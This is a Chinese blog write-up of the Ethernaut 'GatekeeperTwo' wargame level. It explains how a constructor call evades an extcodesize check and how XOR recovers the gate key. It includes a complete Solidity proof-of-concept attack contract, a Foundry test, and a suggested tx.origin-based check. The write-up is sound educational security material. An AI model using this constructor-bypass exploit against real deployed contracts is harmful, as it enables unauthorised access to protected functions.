Ethernaut Solutions-GateKeeperTwo 合约分析以及相应PoC
on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
这个与 GateKeeperOne 类似,第二、三个 modifier不同。
在以太坊中,地址可以是外部用户地址(Externally Owned Accounts,缩写EOA),也可以是合约地址。有时候需要区分这两种地址,或者限制其他合约地址进行跨合约调用,以防止发生黑客攻击。 之前,通常使用 EVM 指令 extcodesize 来获取指定地址关联的合约代码的长度。如果返回的长度大于0,则表示该地址是一个合约地址;如果返回的长度为0,则表示该地址是一个外部用户地址,依此判断地址的类型,并采取相应的安全措施。
assembly { x := extcodesize(caller()) }
中x解析出的是合约的代码长度,而caller()返回的是调用者的地址,x == 0 表示期望调用者不是合约,是EOA账户,这个要求与gateOne是相悖的,那么我们应该怎么做呢?
通过对extcodesize
的学习,了解到通过合约constructor的调用来避开extcodesize
的检查,我写了篇学习文章《EVM 指令 extcodesize 学习》
uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
这个很容易得到,对于GateKeeperTwo合约来说来说,msg.sender就是攻击合约的地址,那么我们需要考虑如何通过type(uint64).max 来反推_gateKey的值。^ Bitwise XOR可知,a ^ b = c, 即 a^c = b.
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max)
解除gateKey
根据以上分析,完整的 PoC 代码如下:
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract Solution {
address contractAddress;
constructor(address _contractAddress) {
contractAddress = _contractAddress;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
IGatekeeperTwo(contractAddress).enter(key);
}
}
}
contract GatekeeperTwoTest is BaseTest {
Solution public solution;
function setUp() public override {
super.setUp();
gatekeeperTwo = GatekeeperTwo(contractAddress);
}
function test_Attack() public {
vm.startBroadcast(deployer);
solution = new Solution(contractAddress);
address entrant = address(uint160(uint256(vm.load(contractAddress,bytes32(uint256(0))))));
assertEq(entrant, deployer);
vm.stopBroadcast();
}
}
function isContract(address account) public view returns (bool) {
return (tx.origin != msg.sender);
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!